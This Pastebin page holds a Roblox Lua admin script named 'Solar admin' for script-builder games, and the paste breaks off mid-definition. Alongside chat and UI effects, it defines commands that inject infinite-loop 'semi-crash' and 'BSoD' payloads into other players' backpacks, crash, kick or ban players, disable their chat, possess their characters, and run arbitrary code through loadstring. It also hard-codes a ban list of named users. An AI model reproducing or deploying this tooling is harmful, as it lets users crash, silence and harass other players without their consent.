API tools faq
paste
Advertisement
SlowDude

Untitled

SlowDude
Apr 1st, 2016
81
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 52.14 KB | None | 0 0
raw download clone embed print report
  1. ]]--
  2. --[[STARTUP]]--
  3. wait()
  4. script.Name = "Solar admin"
  5. do
  6. if script:findFirstChild("DSource") ~= nil then
  7. SourceName = "DSource"
  8. elseif script:findFirstChild("Source") ~= nil then
  9. SourceName = "Source"
  10. elseif script:findFirstChild("source") ~= nil then
  11. SourceName = "source"
  12. else
  13. SourceName = "No_Source"
  14. end
  15. end
  16. if SourceName ~= "No_Source" then
  17. print("Source found: "..SourceName)
  18. elseif SourceName == "No_Source" then
  19. error("Source not found, script did not load all features")
  20. end
  21. script:ClearAllChildren()
  22. game.Lighting:ClearAllChildren()
  23. wait()
  24. --[[VARIABLES, BOOLEANS AND TABLES]]--
  25. LocalPlayer = game:GetService("Players").LocalPlayer
  26. runService = game:service'RunService'
  27. LSource = script:Clone()
  28. char = nil
  29. key = nil
  30. Mouse = LocalPlayer:GetMouse()
  31. SunMesh = "http://www.roblox.com/asset/?id=1185246"
  32. SunTexture = "http://www.roblox.com/asset/?id=20261287"
  33. ChatColor = "Institutional white"
  34. Code = "SA: "..game.PlaceId
  35. Key = "/"
  36. SunScale = Vector3.new(3,3,3)
  37. HiddenTablets = false
  38. TabModelDebounce = false
  39. DismissTabOn = false
  40. ChatGui = true
  41. LBlock = true
  42. found = false
  43. NilBoot = false
  44. appearTime = 3
  45. Rotation = 0
  46. Speed = 0.0001
  47. Tabs = {}
  48. Cmds = {}
  49. Banlist = {}
  50. HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"}
  51. MuteWords = {}
  52. BadWords = {}
  53. Services = {
  54. game;
  55. game:service'Workspace';
  56. game:service'Players';
  57. game:service'Lighting';
  58. game:service'StarterGui';
  59. game:service'StarterPack';
  60. game:service'Debris';
  61. };
  62. --[[START]]--
  63. if LocalPlayer.Character ~= nil then
  64. LocalPlayer.Character.Archivable = true
  65. Char = LocalPlayer.Character:Clone()
  66. end
  67. if NilBoot == true then
  68. LocalPlayer.Parent = nil
  69. ChatGui = true
  70. appear(CFrame.new(0,25,0))
  71. local a = Char:Clone()
  72. a.Parent = workspace
  73. a.Torso.CFrame = CFrame.new(0,25,0)
  74. LocalPlayer.Character = a
  75. workspace.CurrentCamera.CameraType = "Custom"
  76. workspace.CurrentCamera.CameraSubject = a.Humanoid
  77. wait(5)
  78. SmoothMovement()
  79. end
  80. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
  81. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
  82. MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
  83. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
  84. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
  85. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
  86. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
  87. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
  88. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
  89. MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
  90. MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
  91. MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
  92. for i = 1,#LocalPlayer.Name,1 do
  93. MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
  94. end
  95. for i = 1,#LocalPlayer.Name,1 do
  96. MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
  97. end
  98. for i = 1,#LocalPlayer.Name,1 do
  99. MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
  100. end
  101. for i = 1,#LocalPlayer.Name,1 do
  102. MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
  103. end
  104. for i = 1,#LocalPlayer.Name,1 do
  105. MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
  106. end
  107. for i = 1,#LocalPlayer.Name,1 do
  108. MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
  109. end
  110. for i = 1,#LocalPlayer.Name,1 do
  111. MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
  112. end
  113. wait()
  114. --[[TABMODEL]]--
  115. local TabModel = Instance.new("Model")
  116. TabModel.Name = "Solar tabs"
  117. if HiddenTablets == true then
  118. TabModel.Parent = workspace.CurrentCamera
  119. TabModelParent = workspace.CurrentCamera
  120. elseif HiddenTablets == false then
  121. TabModel.Parent = workspace
  122. TabModelParent = workspace
  123. end
  124. --[[PARENTING]]--
  125. script.Parent = _SOLAR_
  126. wait()
  127. --[[FUNCTIONS]]--
  128. function Output(Text,Color,OnClicked)
  129. if TabModel.Parent ~= TabModelParent then return end
  130. if TabModel == nil then return end
  131. if Color == nil then Color = "Institutional white" end
  132. if Text == nil then Text = "" end
  133. local Text = tostring(Text)
  134. Text = Text:gsub("","\5")
  135. local Part = Instance.new("Part", TabModel)
  136. Part.CanCollide = false
  137. Part.Anchored = true
  138. Part.Locked = true
  139. Part.Shape = "Ball"
  140. Part.Size = Vector3.new(3,3,3)
  141. Part.Name = "TABLET: "..math.random(-99999,99999)
  142. if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
  143. Part.CFrame = LocalPlayer.Character.Torso.CFrame
  144. else
  145. Part.CFrame = CFrame.new(0,0,0)
  146. end
  147. local Mesh = Instance.new("SpecialMesh", Part)
  148. Mesh.MeshId = SunMesh
  149. Mesh.TextureId = SunTexture
  150. Mesh.Scale = SunScale
  151. local PointLight = Instance.new("PointLight", Part)
  152. PointLight.Color = BrickColor.new("New Yeller").Color
  153. PointLight.Range = 10
  154. local BillboardGui = Instance.new("BillboardGui", Part)
  155. BillboardGui.Size = UDim2.new(8,0,7,0)
  156. BillboardGui.StudsOffset = Vector3.new(0,2,0)
  157. local TextLabel = Instance.new("TextLabel", BillboardGui)
  158. TextLabel.Text = Text
  159. TextLabel.Size = UDim2.new(1,0,1,0)
  160. TextLabel.BackgroundTransparency = 1
  161. TextLabel.TextColor = BrickColor.new(Color)
  162. TextLabel.Font = "ArialBold"
  163. TextLabel.FontSize = "Size24"
  164. TextLabel.TextStrokeTransparency = 0
  165. local ClickDetector = Instance.new("ClickDetector", Part)
  166. Tabs[#Tabs+1] = Part
  167. ClickDetector.MaxActivationDistance = math.huge
  168. ClickDetector.MouseHoverEnter:connect(function(Player)
  169. if Player.Name == LocalPlayer.Name then
  170. Part.Transparency = 0.5
  171. end
  172. end)
  173. ClickDetector.MouseHoverLeave:connect(function(Player)
  174. if Player.Name == LocalPlayer.Name then
  175. Part.Transparency = 0
  176. end
  177. end)
  178. ClickDetector.MouseClick:connect(function(Player)
  179. if Player.Name == LocalPlayer.Name then
  180. coroutine.wrap(function()
  181. for i = 0,180,10 do
  182. TextLabel.Rotation = i
  183. wait()
  184. end
  185. end)()
  186. coroutine.wrap(function()
  187. for i = 0,1,0.1 do
  188. Part.Transparency = i
  189. wait()
  190. end
  191. wait()
  192. Part:Destroy()
  193. for i,v in pairs(Tabs) do
  194. if v.Name == Part.Name then
  195. table.remove(Tabs,i)
  196. end
  197. end
  198. if OnClicked ~= nil then
  199. OnClicked()
  200. end
  201. end)()
  202. end
  203. end)
  204. if #Tabs > 0 then DismissTab() end
  205. end
  206. function Dismiss()
  207. Tabs = {}
  208. TabModel:ClearAllChildren()
  209. DismissTabOn = false
  210. end
  211. function DismissTab()
  212. if DismissTabOn == true then return end
  213. DismissTabOn = true
  214. Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
  215. end
  216. function Chat(Msg, Clr)
  217. for _,v in pairs(Cmds) do
  218. if #Msg >= #v["Say"]+#Key then
  219. if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
  220. return
  221. end
  222. end
  223. end
  224. if Msg:sub(1,2) == "/e" then return end
  225. if Clr == nil then Clr = "Institutional white" end
  226. if Msg == nil then Msg = "" end
  227. if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
  228. if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
  229. Msg = Msg:gsub("","\5")
  230. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
  231. if #LocalPlayer.Character.Head:children() > 15 then return end
  232. for _,v in pairs(LocalPlayer.Character.Head:children()) do
  233. if v.Name == "BG" then
  234. coroutine.wrap(function()
  235. for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
  236. v.StudsOffset = Vector3.new(0,i,0)
  237. wait()
  238. end
  239. wait(2)
  240. if v:findFirstChild("TextLabel") ~= nil then
  241. for i = 0,1,0.1 do
  242. if v:findFirstChild("TextLabel") == nil then break end
  243. v.TextLabel.TextTransparency = i
  244. v.TextLabel.TextStrokeTransparency = i
  245. wait()
  246. end
  247. end
  248. v:Destroy()
  249. end)()
  250. end
  251. end
  252. if ChatGui == false then
  253. return
  254. elseif ChatGui == true then
  255. local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
  256. BG.Name = "BG"
  257. BG.Size = UDim2.new(8,0,7,0)
  258. BG.StudsOffset = Vector3.new(0,2,0)
  259. BG.SizeOffset = Vector2.new(0,.1)
  260. local TL = Instance.new("TextLabel", BG)
  261. TL.Text = Msg
  262. TL.BackgroundTransparency = 1
  263. TL.Size = UDim2.new(1,0,.8,0)
  264. TL.Font = "Legacy"
  265. TL.FontSize = "Size24"
  266. TL.TextStrokeTransparency = 0
  267. if Clr ~= "Random" then
  268. TL.TextColor = BrickColor.new(Clr)
  269. elseif Clr == "Random" then
  270. TL.TextColor = BrickColor.random()
  271. end
  272. coroutine.wrap(function()
  273. wait(5)
  274. if TL ~= nil then
  275. for i = 0,1,0.1 do
  276. if TL == nil then break end
  277. TL.TextTransparency = i
  278. TL.TextStrokeTransparency = i
  279. wait()
  280. end
  281. end
  282. BG:Destroy()
  283. end)()
  284. end
  285. end
  286. end
  287. function Notify(Msg)
  288. Chat(Msg,"Really red")
  289. end
  290. function GetPlayers(msg)
  291. local Plrs = {}
  292. if msg == "me" then
  293. table.insert(Plrs, LocalPlayer)
  294. elseif msg == "all" then
  295. Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
  296. elseif msg == "noobs" then
  297. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  298. if plr.AccountAge < 364 then
  299. table.insert(Plrs, plr)
  300. end
  301. end
  302. elseif msg == "veterans" then
  303. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  304. if plr.AccountAge > 364 then
  305. table.insert(Plrs, plr)
  306. end
  307. end
  308. elseif msg == "others" then
  309. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  310. if v ~= LocalPlayer then
  311. table.insert(Plrs, v)
  312. end
  313. end
  314. else
  315. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  316. if v.Name:lower():sub(1,#msg) == msg:lower() then
  317. table.insert(Plrs, v)
  318. end
  319. end
  320. end
  321. return Plrs
  322. end
  323. function Update(CF)
  324. if TabModel.Parent ~= TabModelParent then return end
  325. if TabModel == nil then return end
  326. Rotation = Rotation + Speed
  327. if TabModel.Parent ~= TabModelParent then return end
  328. if TabModel == nil then return end
  329. for i,v in pairs(Tabs) do
  330. if TabModel.Parent ~= TabModelParent then break end
  331. if TabModel == nil then break end
  332. if v.Parent ~= nil then
  333. if TabModel.Parent ~= TabModelParent then break end
  334. if TabModel == nil then break end
  335. if #Tabs < 201 then
  336. if TabModel.Parent ~= TabModelParent then break end
  337. if TabModel == nil then break end
  338. local CP = v.Position:lerp(CF.p,0.15)
  339. v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
  340. *CFrame.new(0,0,#Tabs*0.15 +0.5)
  341. else
  342. if TabModel.Parent ~= TabModelParent then break end
  343. if TabModel == nil then break end
  344. v:Destroy()
  345. end
  346. if TabModel.Parent ~= TabModelParent then break end
  347. if TabModel == nil then break end
  348. end
  349. end
  350. end
  351. function AddCmd(Name, Say, Desc, Func)
  352. Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
  353. end
  354. function ShowCmds()
  355. Dismiss()
  356. for _,v in pairs(Cmds) do
  357. Output(v["Name"],nil,
  358. function()
  359. Dismiss()
  360. Output("Name: "..v["Name"])
  361. Output("Usage: "..v["Say"])
  362. Output("Description: "..v["Desc"])
  363. Output("Back","Really red",function() ShowCmds() end)
  364. end
  365. )
  366. end
  367. end
  368. function NewS(SourceValue, Parent)
  369. if NewScript then
  370. local scr = NewScript:Clone()
  371. if scr:FindFirstChild(SourceName) then
  372. if scr:FindFirstChild(SourceName) then
  373. scr:FindFirstChild(SourceName).Value = SourceValue
  374. scr.Parent = Parent
  375. wait()
  376. scr.Disabled = false
  377. return scr
  378. end
  379. end
  380. else
  381. Output("No source","Really red")
  382. end
  383. end
  384. function NewLS(SourceValue, Parent)
  385. if SourceName == "No_Source" then return end
  386. if game.PlaceId == 54194680 then
  387. NLS(SourceValue, Parent)
  388. else
  389. local NS = LSource:Clone()
  390. NS.Name = "NewLocal"
  391. local Source = NS:findFirstChild(SourceName)
  392. if Source == nil then
  393. Instance.new('StringValue',NS).Name = SourceName
  394. end
  395. Source = NS:findFirstChild(SourceName)
  396. Source.Value = SourceValue
  397. NS.Parent = Parent
  398. NS.Disabled = false
  399. return NS
  400. end
  401. end
  402. function ShowBL()
  403. Dismiss()
  404. for _,v in pairs(Banlist) do
  405. Output(v,nil, function()
  406. Dismiss()
  407. Output(v)
  408. Output("Un-Ban","Really red", function()
  409. table.remove(Banlist, _)
  410. end)
  411. Output("Back","Really red", function()
  412. ShowBL()
  413. end)
  414. end)
  415. end
  416. end
  417. function ShowHBL()
  418. Dismiss()
  419. for _,v in pairs(HardBanlist) do
  420. Output(v,nil, function()
  421. Dismiss()
  422. Output(v)
  423. Output("Un-Ban","Really red", function()
  424. table.remove(HardBanlist, _)
  425. end)
  426. Output("Back","Really red", function()
  427. ShowBL()
  428. end)
  429. end)
  430. end
  431. end
  432. function Connect(who)
  433. if who and who.Backpack then
  434. NewLS(ConnectSource, who.Backpack)
  435. Output("Connected: "..who.Name)
  436. end
  437. end
  438. function SmoothMovement()
  439. if char ~= nil then char = nil end
  440. wait()
  441. if LocalPlayer.Character.Parent == nil then return end
  442. if LocalPlayer.Character == nil then return end
  443. char = LocalPlayer.Character
  444. char.Torso.Anchored = true
  445. Mouse.KeyDown:connect(function(kai)
  446. if kai == "w" then
  447. key = "w"
  448. elseif kai == "s" then
  449. key = "s"
  450. elseif kai == "a" then
  451. key = "a"
  452. elseif kai == "d" then
  453. key = "d"
  454. end
  455. end)
  456. Mouse.KeyUp:connect(function(kai)
  457. if kai == "w" then
  458. key = nil
  459. elseif kai == "s" then
  460. key = nil
  461. elseif kai == "a" then
  462. key = nil
  463. elseif kai == "d" then
  464. key = nil
  465. end
  466. end)
  467. while wait() do
  468. if char == nil then break end
  469. if key == "w" then
  470. if char == nil then break end
  471. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
  472. elseif key == "s" then
  473. if char == nil then break end
  474. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
  475. elseif key == "a" then
  476. if char == nil then break end
  477. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
  478. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
  479. elseif key == "d" then
  480. if char == nil then break end
  481. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
  482. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
  483. end
  484. end
  485. end
  486. function Explore(part)
  487. Dismiss()
  488. if part == nil then
  489. for _,v in pairs(Services) do
  490. Output(v.Name,nil,function() Explore(v) end)
  491. end
  492. else
  493. for _,v in pairs(part:children()) do
  494. Output(v.Name,nil,function() Explore(v) end)
  495. end
  496. wait()
  497. Output("Currently exploring: "..part.Name,"Really red")
  498. Output("Class name: "..part.ClassName,"Really red")
  499. Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
  500. Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
  501. end
  502. end
  503. function appear(pos)
  504. local parts = {}
  505. local frames = appearTime / (1 / 30)
  506. local t = 1
  507. if pos == nil then pos = CFrame.new(0, 25, 0) end
  508. for i=1,500 do
  509. local p = Instance.new("Part", game.Workspace)
  510. p.Anchored = true
  511. p.CanCollide = false
  512. p.formFactor = 3
  513. p.Size = Vector3.new(1, 1, 1)
  514. p.TopSurface = 0
  515. p.BottomSurface = 0
  516. p.BrickColor = BrickColor.random()
  517. local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
  518. p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
  519. local mesh = Instance.new("SpecialMesh", p)
  520. mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  521. mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
  522. table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
  523. end
  524. for i=1,frames do
  525. local _, duration = runService.Stepped:wait()
  526. for i,v in pairs(parts) do
  527. if v[1].Parent then
  528. v[1].CFrame = v[1].CFrame * v[2]
  529. v[1].Transparency = t
  530. end
  531. end
  532. t = t - (appearTime / frames)
  533. end
  534. for i,v in pairs(parts) do
  535. if v[1].Parent then
  536. v[1]:remove()
  537. end
  538. end
  539. end
  540. --[[COMMANDS]]--
  541. AddCmd("Ping","ping","Ping something",
  542. function(nothing, msg)
  543. Output(tostring(msg))
  544. end
  545. )
  546. AddCmd("Commands","cmds","Show all commands",
  547. function()
  548. ShowCmds()
  549. end
  550. )
  551. AddCmd("#Commands","#cmds","Show the number of commands",
  552. function()
  553. Output(tostring(#Cmds))
  554. end
  555. )
  556. AddCmd("Dismiss","dt","Dismiss tabs",
  557. function()
  558. Dismiss()
  559. end
  560. )
  561. AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
  562. function(nothing, msg)
  563. if msg == "on" then
  564. HiddenTablets = true
  565. TabModel.Parent = workspace.CurrentCamera
  566. TabModelParent = workspace.CurrentCamera
  567. Output("Tabs are hidden","Really red")
  568. elseif msg == "off" then
  569. HiddenTablets = false
  570. TabModel.Parent = workspace
  571. TabModelParent = workspace
  572. Output("Tabs are visible","Really red")
  573. else
  574. Output("Use on/off to toggle tab visibility","Really red")
  575. end
  576. end
  577. )
  578. AddCmd("Execute","exe","Execute",
  579. function(nothing, msg)
  580. a,b = ypcall(function()
  581. loadstring(msg)()
  582. end)
  583. if not a then Output(b,"Really red") end
  584. end
  585. )
  586. AddCmd("Toggle local block","tlb","Toggle local block on/off",
  587. function(nothing, msg)
  588. if msg == "on" then
  589. LBlock = true
  590. Output("Local block on","Really red")
  591. elseif msg == "off" then
  592. LBlock = false
  593. Output("Local block off")
  594. else
  595. Output("Use on/off to toggle local block","Really red")
  596. end
  597. end
  598. )
  599. AddCmd("Kick","kick","Kick player",
  600. function(Plrs)
  601. for _, plr in pairs(Plrs) do
  602. if plr then
  603. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  604. end
  605. end
  606. end
  607. )
  608. AddCmd("Banlist","bl","Show banned players",
  609. function()
  610. ShowBL()
  611. end
  612. )
  613. AddCmd("Hard Banlist","hbl","Show hard banned players",
  614. function()
  615. ShowHBL()
  616. end
  617. )
  618. AddCmd("Semi-Crash","scrash","Semi-crash a player",
  619. function(Plrs)
  620. for _,plr in pairs(Plrs) do
  621. if plr and plr.Backpack then
  622. NewLS("repeat until false",plr.Backpack)
  623. end
  624. end
  625. end
  626. )
  627. AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
  628. function(nothing, msg)
  629. local a = Instance.new("StringValue", game.Lighting)
  630. a.Name = "DISC: "..msg
  631. game:service'Debris':AddItem(a, 3)
  632. end
  633. )
  634. AddCmd("Mute","mute","Block player's chat",
  635. function(Plrs)
  636. for _, plr in pairs(Plrs) do
  637. if plr and plr.Backpack then
  638. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
  639. end
  640. end
  641. end
  642. )
  643. AddCmd("Un-Mute","unmute","Un-Block player's chat",
  644. function(Plrs)
  645. for _, plr in pairs(Plrs) do
  646. if plr and plr.Backpack then
  647. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
  648. end
  649. end
  650. end
  651. )
  652. AddCmd("Clean","clean","Clean workspace",
  653. function()
  654. for _,v in pairs(workspace:children()) do
  655. if v.Name ~= "Terrain" then
  656. v:Destroy()
  657. end
  658. end
  659. NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
  660. local base = Instance.new("Part", workspace)
  661. base.Anchored = true
  662. base.Size = Vector3.new(1000,1.2,1000)
  663. base.BrickColor = BrickColor.new("Dark green")
  664. base.Material = "Grass"
  665. end
  666. )
  667. AddCmd("Remove","cremove","Remove the script",
  668. function()
  669. for i = 0,50,1 do
  670. pcall(function()
  671. for j,k in pairs(getfenv(i)) do
  672. getfenv(i)[j] = nil
  673. end
  674. end)
  675. end
  676. end
  677. )
  678. AddCmd("Script","c","Script something",
  679. function(nothing, msg)
  680. if found then
  681. NewS(msg,workspace)
  682. else
  683. Output("No source","Really red")
  684. end
  685. end
  686. )
  687. AddCmd("Kill","kill","Kill player",
  688. function(Plrs)
  689. for _, plr in pairs(Plrs) do
  690. if plr and plr.Character then
  691. plr.Character:breakJoints''
  692. end
  693. end
  694. end
  695. )
  696. AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
  697. function(Plrs, msg)
  698. local KeyPos = msg:find(Key)
  699. local TargPlrs = msg:sub(1,KeyPos-1)
  700. local Plrs = GetPlayers(TargPlrs)
  701. local Srce = msg:sub(KeyPos+1)
  702. for _,plr in pairs(Plrs) do
  703. if plr and plr.Backpack then
  704. NewLS(Srce, plr.Backpack)
  705. end
  706. end
  707. end
  708. )
  709. AddCmd("Ban","ban","Bans a player",
  710. function(Plrs)
  711. for _, plr in pairs(Plrs) do
  712. if plr and plr.Backpack then
  713. Banlist[#Banlist +1] = plr.Name
  714. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  715. end
  716. end
  717. end
  718. )
  719. AddCmd("Rejoin","rj","Rejoins a player",
  720. function(Plrs)
  721. for _,plr in pairs(Plrs) do
  722. if plr and plr.Character then
  723. if SourceName == "source" then
  724. Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
  725. end
  726. if SourceName ~= "source" then
  727. NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
  728. end
  729. end
  730. end
  731. end
  732. )
  733. AddCmd("Ban","ban","Bans a player",
  734. function(Plrs)
  735. for _, plr in pairs(Plrs) do
  736. if plr and plr.Backpack then
  737. Banlist[#Banlist+1] = plr.Name
  738. end
  739. end
  740. end
  741. )
  742. AddCmd("Chat","chat","Turns chat on/off",
  743. function(nothing, msg)
  744. if msg == "on" then
  745. ChatGui = true
  746. elseif msg == "off" then
  747. ChatGui = false
  748. end
  749. end
  750. )
  751. AddCmd("GetAge","ga","Get age of a player",
  752. function(Plrs)
  753. for _, plr in pairs(Plrs) do
  754. if plr then
  755. Output(plr.Name..": "..tostring(plr.AccountAge))
  756. end
  757. end
  758. end)
  759. AddCmd("Hint","h","Show some hint",
  760. function(nothing, msg)
  761. if found then
  762. NewS([[
  763. a = Instance.new("Hint", workspace)
  764. msg = "]]..msg..[["
  765. msg = msg:gsub("","\5")
  766. game:service'Debris':AddItem(a, 5)
  767. while wait() do
  768. for i = 30,0,-1 do
  769. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  770. wait()
  771. end
  772. for i = 0,30,1 do
  773. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  774. wait()
  775. end
  776. end
  777. ]], workspace)
  778. end
  779. end
  780. )
  781. AddCmd("Message","m","Show a message",
  782. function(nothing, msg)
  783. if found then
  784. NewS([[
  785. a = Instance.new("Message", workspace)
  786. msg = "]]..msg..[["
  787. msg = msg:gsub("","\5")
  788. game:service'Debris':AddItem(a, 5)
  789. while wait() do
  790. for i = 30,0,-1 do
  791. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  792. wait()
  793. end
  794. for i = 0,30,1 do
  795. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  796. wait()
  797. end
  798. end
  799. ]], workspace)
  800. end
  801. end
  802. )
  803. AddCmd("Char","char","Be a character",
  804. function()
  805. if LocalPlayer.Parent == game.Players then return end
  806. if LocalPlayer.Character~= nil then
  807. LocalPlayer.Character:Destroy()
  808. end
  809. char = nil
  810. appear(CFrame.new(0,25,0))
  811. local a = Char:Clone()
  812. a.Parent = workspace
  813. a.Torso.CFrame = CFrame.new(0,25,0)
  814. LocalPlayer.Character = a
  815. workspace.CurrentCamera.CameraType = "Custom"
  816. workspace.CurrentCamera.CameraSubject = a.Humanoid
  817. wait(5)
  818. SmoothMovement()
  819. end
  820. )
  821. AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
  822. function()
  823. if LocalPlayer.Parent == nil then
  824. char = nil
  825. wait()
  826. SmoothMovement()
  827. else
  828. Output("You are not nil.","Really red")
  829. end
  830. end
  831. )
  832. AddCmd("Go nil","gn","Go to nil player mode",
  833. function()
  834. LocalPlayer.Parent = nil
  835. appear(CFrame.new(0,25,0))
  836. local a = Char:Clone()
  837. a.Torso.CFrame = CFrame.new(0,25,0)
  838. a.Parent = workspace
  839. LocalPlayer.Character = a
  840. workspace.CurrentCamera.CameraType = "Custom"
  841. workspace.CurrentCamera.CameraSubject = a.Humanoid
  842. wait(5)
  843. SmoothMovement()
  844. end
  845. )
  846. AddCmd("Fix camera","fcam","Fix your camera",
  847. function()
  848. workspace.CurrentCamera.CameraType = "Custom"
  849. workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  850. end
  851. )
  852. AddCmd("Nils","nilp","Get nil players",
  853. function()
  854. NewS([[
  855. Model = Instance.new("Model", game.Lighting)
  856. Model.Name = "SolarAdminNilPlayers"
  857. for _,v in pairs(game:service'NetworkServer':children()) do
  858. if v:GetPlayer() then
  859. if v:GetPlayer().Parent ~= game:service'Players' then
  860. Instance.new("StringValue",Model).Value = v:GetPlayer().Name
  861. end
  862. end
  863. end
  864. ]], workspace)
  865. wait()
  866. np = nil
  867. for i = 0,5,1 do
  868. if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
  869. np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
  870. break
  871. end
  872. wait(0.1)
  873. end
  874. if np ~= nil then
  875. Dismiss()
  876. for _,v in pairs(np:children()) do
  877. if v:IsA("StringValue") then
  878. Output(v.Value,"Really red")
  879. end
  880. end
  881. elseif np == nil then
  882. Output("Something went wrong.","Really red")
  883. end
  884. end
  885. )
  886. AddCmd("Possess","ps","Possess a player",
  887. function(Plrs)
  888. for _, plr in pairs(Plrs) do
  889. if plr and plr.Character then
  890. LocalPlayer.Character = plr.Character
  891. workspace.CurrentCamera.CameraType = "Custom"
  892. workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
  893. end
  894. end
  895. end
  896. )
  897. AddCmd("'Hard' ban","hb","Hard ban a player",
  898. function(Plrs)
  899. for _, plr in pairs(Plrs) do
  900. if plr then
  901. HardBanlist[#HardBanlist+1] = plr.Name
  902. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  903. for i = 0,10,1 do
  904. Notify("Hard Banned "..plr.Name.."!")
  905. end
  906. end
  907. end
  908. end
  909. )
  910. AddCmd("Explore","explore","Explore the game",
  911. function()
  912. Explore()
  913. end
  914. )
  915. AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
  916. function()
  917. if SourceName ~= "source" then
  918. game:service'TeleportService':Teleport(game.PlaceId)
  919. else
  920. Output("This is alakazard's sb, can't teleport here.","Really red")
  921. end
  922. end
  923. )
  924. AddCmd("BSoD","bsod","BSoD a player",
  925. function(Plrs)
  926. for _, plr in pairs(Plrs) do
  927. if plr and plr.Backpack then
  928. for i = 0,7,1 do
  929. NewLS(BSoDSource, plr.Backpack)
  930. end
  931. end
  932. end
  933. end
  934. )
  935. --[[SOURCES]]--
  936. LBlock1 = [[
  937. LocalPlayer.descendantAdded:connect(function(what)
  938. if what:IsA("Script") or what:IsA("LocalScript") then
  939. if LBlock == false then return end
  940. if what.Name == "Health" then return end
  941. if what.Name == "HealthScript v3.1" then return end
  942. if what.Name == "Animate" then return end
  943. what.Disabled = true
  944. wait()
  945. what:Destroy()
  946. end
  947. end)
  948. ]]
  949. LBlock2 = [[
  950. LocalPlayer.Backpack.descendantAdded:connect(function(what)
  951. if what:IsA("Script") or what:IsA("LocalScript") then
  952. if LBlock == false then return end
  953. if what.Name == "Health" then return end
  954. if what.Name == "HealthScript v3.1" then return end
  955. if what.Name == "Animate" then return end
  956. what.Disabled = true
  957. wait()
  958. what:Destroy()
  959. end
  960. end)
  961. ]]
  962. LBlock3 = [[
